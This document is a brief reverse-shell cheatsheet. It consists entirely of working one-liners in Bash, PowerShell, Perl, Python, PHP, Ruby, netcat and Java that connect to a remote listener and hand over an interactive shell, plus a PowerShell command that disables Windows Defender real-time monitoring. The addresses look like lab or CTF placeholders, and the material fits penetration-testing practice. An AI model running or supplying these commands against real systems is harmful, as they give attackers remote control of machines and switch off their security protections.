Reverse Shells

• Cheatsheet

One Liner Reverse Shells :

# Bash
bash -i >& /dev/tcp/ip/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc ip 4444 >/tmp/f
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.3/4444 0>&1' > shell

# Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# Disable AV 
Set-MpPreference -DisableRealtimeMonitoring $true


# Perl
perl -e 'use Socket;$i="10.10.14.6";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Php 
php -r '$sock=fsockopen("10.10.14.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# nc
nc -e /bin/sh 10.0.0.1 1234

# Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()